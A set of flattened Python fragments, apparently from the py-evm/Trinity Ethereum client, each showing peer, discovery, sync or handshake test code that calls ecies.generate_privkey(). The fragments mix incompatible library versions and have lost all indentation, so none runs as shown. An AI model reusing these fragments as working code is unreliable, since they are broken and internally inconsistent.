def _test(): import argparse import asyncio from concurrent.futures import ProcessPoolExecutor import signal from p2p import ecies from p2p.peer import ETHPeer, HardCodedNodesPeerPool from evm.chains.ropsten import RopstenChain from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) args = parser.parse_args() chaindb = FakeAsyncChainDB(LevelDB(args.db)) peer_pool = HardCodedNodesPeerPool(ETHPeer, chaindb, RopstenChain.network_id, ecies.generate_privkey(), min_peers=5) asyncio.ensure_future(peer_pool.run()) loop = asyncio.get_event_loop() loop.set_default_executor(ProcessPoolExecutor()) syncer = FullNodeSyncer(chaindb, peer_pool) for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, syncer.cancel_token.trigger) async def run(): try: await syncer.run() except OperationCancelled: pass await peer_pool.stop() loop.run_until_complete(run()) loop.close()
def _test() -> None: parser = argparse.ArgumentParser() parser.add_argument('-bootnode', type=str, help="The enode to use as bootnode") parser.add_argument('-debug', action="store_true") args = parser.parse_args() log_level = logging.DEBUG if args.debug: log_level = DEBUG2_LEVEL_NUM logging.basicConfig(level=log_level, format='%(asctime)s %(levelname)s: %(message)s') # Listen on a port other than 30303 so that we can test against a local geth instance # running on that port. listen_port = 30304 privkey = ecies.generate_privkey() addr = kademlia.Address('127.0.0.1', listen_port, listen_port) if args.bootnode: bootstrap_nodes = tuple([kademlia.Node.from_uri(args.bootnode)]) else: bootstrap_nodes = tuple( kademlia.Node.from_uri(enode) for enode in constants.ROPSTEN_BOOTNODES) ipc_path = Path(f"networking-{uuid.uuid4()}.ipc") networking_connection_config = ConnectionConfig( name=NETWORKING_EVENTBUS_ENDPOINT, path=ipc_path) async def run() -> None: socket = trio.socket.socket(family=trio.socket.AF_INET, type=trio.socket.SOCK_DGRAM) await socket.bind(('0.0.0.0', listen_port)) async with TrioEndpoint.serve( networking_connection_config) as endpoint: service = DiscoveryService(privkey, addr, bootstrap_nodes, endpoint, socket) await TrioManager.run_service(service) trio.run(run)
def _test(): import signal from p2p import constants from p2p import ecies from p2p.exceptions import OperationCancelled logging.basicConfig(level=logging.DEBUG, format='%(levelname)s: %(message)s') loop = asyncio.get_event_loop() loop.set_debug(True) listen_host = '0.0.0.0' # Listen on a port other than 30303 in case we want to test against a local geth instance # running on that port. listen_port = 30301 privkey = ecies.generate_privkey() addr = kademlia.Address(listen_host, listen_port, listen_port) discovery = DiscoveryProtocol(privkey, addr, constants.MAINNET_BOOTNODES) # local_bootnodes = [ # 'enode://0x3a514176466fa815ed481ffad09110a2d344f6c9b78c1d14afc351c3a51be33d8072e77939dc03ba44790779b7a1025baf3003f6732430e20cd9b76d953391b3@127.0.0.1:30303'] # noqa: E501 # discovery = DiscoveryProtocol(privkey, addr, local_bootnodes) loop.run_until_complete(discovery.listen(loop)) async def run(): try: await discovery.bootstrap() while True: await discovery.lookup_random(CancelToken("Unused")) except OperationCancelled: # Give all tasks started by DiscoveryProtocol a chance to stop. await asyncio.sleep(2) for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, discovery.stop) loop.run_until_complete(run()) loop.close()
def _test(): import argparse import signal from p2p import ecies from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER from evm.db.backends.level import LevelDB from evm.db.backends.memory import MemoryDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-root-hash', type=str, required=True, help='Hex encoded root hash') args = parser.parse_args() chaindb = FakeAsyncChainDB(MemoryDB()) chaindb.persist_header_to_db(ROPSTEN_GENESIS_HEADER) peer_pool = PeerPool(ETHPeer, chaindb, RopstenChain.network_id, ecies.generate_privkey()) asyncio.ensure_future(peer_pool.run()) state_db = LevelDB(args.db) root_hash = decode_hex(args.root_hash) downloader = StateDownloader(state_db, root_hash, peer_pool) loop = asyncio.get_event_loop() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, downloader.cancel_token.trigger) async def run(): # downloader.run() will run in a loop until the SIGINT/SIGTERM handler triggers its cancel # token, at which point it returns and we stop the pool and downloader. await downloader.run() await peer_pool.stop() await downloader.stop() loop.run_until_complete(run()) loop.close()
def _test() -> None: import argparse import signal from p2p import ecies from p2p.kademlia import Node from p2p.peer import DEFAULT_PREFERRED_NODES from eth.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION from eth.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import ( FakeAsyncChainDB, FakeAsyncRopstenChain, FakeAsyncHeaderDB, connect_to_peers_loop) parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-fast', action="store_true") parser.add_argument('-light', action="store_true") parser.add_argument('-enode', type=str, required=False, help="The enode we should connect to") parser.add_argument('-debug', action="store_true") args = parser.parse_args() logging.basicConfig( level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s', datefmt='%H:%M:%S') log_level = logging.INFO if args.debug: log_level = logging.DEBUG loop = asyncio.get_event_loop() base_db = LevelDB(args.db) chaindb = FakeAsyncChainDB(base_db) chaindb.persist_header(ROPSTEN_GENESIS_HEADER) headerdb = FakeAsyncHeaderDB(base_db) peer_class: Type[HeaderRequestingPeer] = ETHPeer if args.light: peer_class = LESPeer network_id = RopstenChain.network_id privkey = ecies.generate_privkey() peer_pool = PeerPool(peer_class, headerdb, network_id, privkey, ROPSTEN_VM_CONFIGURATION) if args.enode: nodes = tuple([Node.from_uri(args.enode)]) else: nodes = DEFAULT_PREFERRED_NODES[network_id] asyncio.ensure_future(peer_pool.run()) asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes)) chain = FakeAsyncRopstenChain(base_db) syncer: BaseHeaderChainSyncer = None if args.fast: syncer = FastChainSyncer(chain, chaindb, peer_pool) elif args.light: syncer = LightChainSyncer(chain, headerdb, peer_pool) else: syncer = RegularChainSyncer(chain, chaindb, peer_pool) syncer.logger.setLevel(log_level) syncer.min_peers_to_sync = 1 sigint_received = asyncio.Event() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, sigint_received.set) async def exit_on_sigint() -> None: await sigint_received.wait() await peer_pool.cancel() await syncer.cancel() loop.stop() async def run() -> None: await syncer.run() syncer.logger.info("run() finished, exiting") sigint_received.set() # loop.set_debug(True) asyncio.ensure_future(exit_on_sigint()) asyncio.ensure_future(run()) loop.run_forever() loop.close()
async def test_lightchain_integration(request, event_loop): """Test LightChain against a local geth instance. This test assumes a geth/ropsten instance is listening on 127.0.0.1:30303 and serving light clients. In order to achieve that, simply run it with the following command line: $ geth -nodekeyhex 45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8 \ -testnet -lightserv 90 """ # TODO: Implement a pytest fixture that runs geth as above, so that we don't need to run it # manually. if not pytest.config.getoption("--integration"): pytest.skip("Not asked to run integration tests") chaindb = FakeAsyncChainDB(MemoryDB()) chaindb.persist_header_to_db(ROPSTEN_GENESIS_HEADER) peer_pool = LocalGethPeerPool(LESPeer, chaindb, ROPSTEN_NETWORK_ID, ecies.generate_privkey()) chain = IntegrationTestLightChain(chaindb, peer_pool) asyncio.ensure_future(peer_pool.run()) asyncio.ensure_future(chain.run()) await asyncio.sleep(0) # Yield control to give the LightChain a chance to start def finalizer(): event_loop.run_until_complete(peer_pool.stop()) event_loop.run_until_complete(chain.stop()) request.addfinalizer(finalizer) n = 11 # Wait for the chain to sync a few headers. async def wait_for_header_sync(block_number): while chaindb.get_canonical_head().block_number < block_number: await asyncio.sleep(0.1) await asyncio.wait_for(wait_for_header_sync(n), 2) # https://ropsten.etherscan.io/block/11 b = await chain.get_canonical_block_by_number(n) assert isinstance(b, FrontierBlock) assert b.number == 11 assert encode_hex(b.hash) == ( '0xda882aeff30f59eda9da2b3ace3023366ab9d4219b5a83cdd589347baae8678e') assert len(b.transactions) == 15 assert isinstance(b.transactions[0], b.transaction_class) receipts = await chain.get_receipts(b.hash) assert len(receipts) == 15 assert encode_hex(keccak(rlp.encode(receipts[0]))) == ( '0xf709ed2c57efc18a1675e8c740f3294c9e2cb36ba7bb3b89d3ab4c8fef9d8860') assert len(chain.peer_pool.peers) == 1 head_info = chain.peer_pool.peers[0].head_info head = await chain.get_block_by_hash(head_info.block_hash) assert head.number == head_info.block_number # In order to answer queries for contract code, geth needs the state trie entry for the block # we specify in the query, but because of fast sync we can only assume it has that for recent # blocks, so we use the current head to lookup the code for the contract below. # https://ropsten.etherscan.io/address/0x95a48dca999c89e4e284930d9b9af973a7481287 contract_addr = decode_hex('95a48dca999c89e4e284930d9b9af973a7481287') contract_code = await chain.get_contract_code(head.hash, keccak(contract_addr)) assert encode_hex(keccak(contract_code)) == ( '0x1e0b2ad970b365a217c40bcf3582cbb4fcc1642d7a5dd7a82ae1e278e010123e') account = await chain.get_account(head.hash, contract_addr) assert account.code_hash == keccak(contract_code) assert account.balance == 0
async def get_directly_linked_peers_without_handshake( peer1_class=LESPeer, peer1_chaindb=None, peer2_class=LESPeer, peer2_chaindb=None): """See get_directly_linked_peers(). Neither the P2P handshake nor the sub-protocol handshake will be performed here. """ if peer1_chaindb is None: peer1_chaindb = get_fresh_mainnet_chaindb() if peer2_chaindb is None: peer2_chaindb = get_fresh_mainnet_chaindb() peer1_private_key = ecies.generate_privkey() peer2_private_key = ecies.generate_privkey() peer1_remote = kademlia.Node( peer2_private_key.public_key, kademlia.Address('0.0.0.0', 0, 0)) peer2_remote = kademlia.Node( peer1_private_key.public_key, kademlia.Address('0.0.0.0', 0, 0)) initiator = auth.HandshakeInitiator(peer1_remote, peer1_private_key) peer2_reader = asyncio.StreamReader() peer1_reader = asyncio.StreamReader() # Link the peer1's writer to the peer2's reader, and the peer2's writer to the # peer1's reader. peer2_writer = type( "mock-streamwriter", (object,), {"write": peer1_reader.feed_data, "close": lambda: None} ) peer1_writer = type( "mock-streamwriter", (object,), {"write": peer2_reader.feed_data, "close": lambda: None} ) peer1, peer2 = None, None handshake_finished = asyncio.Event() async def do_handshake(): nonlocal peer1, peer2 aes_secret, mac_secret, egress_mac, ingress_mac = await auth._handshake( initiator, peer1_reader, peer1_writer) # Need to copy those before we pass them on to the Peer constructor because they're # mutable. Also, the 2nd peer's ingress/egress MACs are reversed from the first peer's. peer2_ingress = egress_mac.copy() peer2_egress = ingress_mac.copy() peer1 = peer1_class( remote=peer1_remote, privkey=peer1_private_key, reader=peer1_reader, writer=peer1_writer, aes_secret=aes_secret, mac_secret=mac_secret, egress_mac=egress_mac, ingress_mac=ingress_mac, chaindb=peer1_chaindb, network_id=1) peer2 = peer2_class( remote=peer2_remote, privkey=peer2_private_key, reader=peer2_reader, writer=peer2_writer, aes_secret=aes_secret, mac_secret=mac_secret, egress_mac=peer2_egress, ingress_mac=peer2_ingress, chaindb=peer2_chaindb, network_id=1) handshake_finished.set() asyncio.ensure_future(do_handshake()) responder = auth.HandshakeResponder(peer2_remote, peer2_private_key) auth_msg = await peer2_reader.read(constants.ENCRYPTED_AUTH_MSG_LEN) # Can't assert return values, but checking that the decoder doesn't raise # any exceptions at least. _, _ = responder.decode_authentication(auth_msg) peer2_nonce = keccak(os.urandom(constants.HASH_LEN)) auth_ack_msg = responder.create_auth_ack_message(peer2_nonce) auth_ack_ciphertext = responder.encrypt_auth_ack_message(auth_ack_msg) peer2_writer.write(auth_ack_ciphertext) await handshake_finished.wait() return peer1, peer2
parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-mainnet', action="store_true") args = parser.parse_args() GENESIS_HEADER = ROPSTEN_GENESIS_HEADER NETWORK_ID = ROPSTEN_NETWORK_ID if args.mainnet: GENESIS_HEADER = MAINNET_GENESIS_HEADER NETWORK_ID = MAINNET_NETWORK_ID DemoLightChain = LightChain.configure( 'RPCDemoLightChain', vm_configuration=MAINNET_VM_CONFIGURATION, network_id=NETWORK_ID, privkey=ecies.generate_privkey(), ) chaindb = ChainDB(LevelDB(args.db)) try: chaindb.get_canonical_head() except CanonicalHeadNotFound: # We're starting with a fresh DB. chain = DemoLightChain.from_genesis_header(chaindb, GENESIS_HEADER) else: # We're reusing an existing db. chain = DemoLightChain(chaindb) app = App(chain) web.run_app(app, port=8080)
def __init__(self, remote: kademlia.Node, privkey: datatypes.PrivateKey) -> None: self.remote = remote self.privkey = privkey self.ephemeral_privkey = ecies.generate_privkey()
def _test(): """ Create a Peer instance connected to a local geth instance and log messages exchanged with it. Use the following command line to run geth: ./build/bin/geth -vmodule p2p=4,p2p/discv5=0,eth/*=0 \ -nodekeyhex 45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8 \ -testnet -lightserv 90 """ import argparse import signal from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER from evm.db.backends.memory import MemoryDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB logging.basicConfig(level=logging.DEBUG, format='%(levelname)s: %(message)s') # The default remoteid can be used if you pass nodekeyhex as above to geth. nodekey = keys.PrivateKey(decode_hex( "45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8")) remoteid = nodekey.public_key.to_hex() parser = argparse.ArgumentParser() parser.add_argument('-remoteid', type=str, default=remoteid) parser.add_argument('-light', action='store_true', help="Connect as a light node") args = parser.parse_args() peer_class = ETHPeer # type: ignore if args.light: peer_class = LESPeer # type: ignore remote = Node( keys.PublicKey(decode_hex(args.remoteid)), Address('127.0.0.1', 30303, 30303)) chaindb = FakeAsyncChainDB(MemoryDB()) chaindb.persist_header_to_db(ROPSTEN_GENESIS_HEADER) network_id = RopstenChain.network_id loop = asyncio.get_event_loop() peer = loop.run_until_complete( asyncio.wait_for( handshake(remote, ecies.generate_privkey(), peer_class, chaindb, network_id), HANDSHAKE_TIMEOUT)) async def request_stuff(): # Request some stuff from ropsten's block 2440319 # (https://ropsten.etherscan.io/block/2440319), just as a basic test. nonlocal peer block_hash = decode_hex( '0x59af08ab31822c992bb3dad92ddb68d820aa4c69e9560f07081fa53f1009b152') if peer_class == ETHPeer: peer = cast(ETHPeer, peer) peer.sub_proto.send_get_block_headers(block_hash, 1) peer.sub_proto.send_get_block_bodies([block_hash]) peer.sub_proto.send_get_receipts([block_hash]) else: peer = cast(LESPeer, peer) request_id = 1 peer.sub_proto.send_get_block_headers(block_hash, 1, request_id) peer.sub_proto.send_get_block_bodies([block_hash], request_id + 1) peer.sub_proto.send_get_receipts(block_hash, request_id + 2) for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, peer.cancel_token.trigger) asyncio.ensure_future(request_stuff()) loop.run_until_complete(peer.run()) loop.close()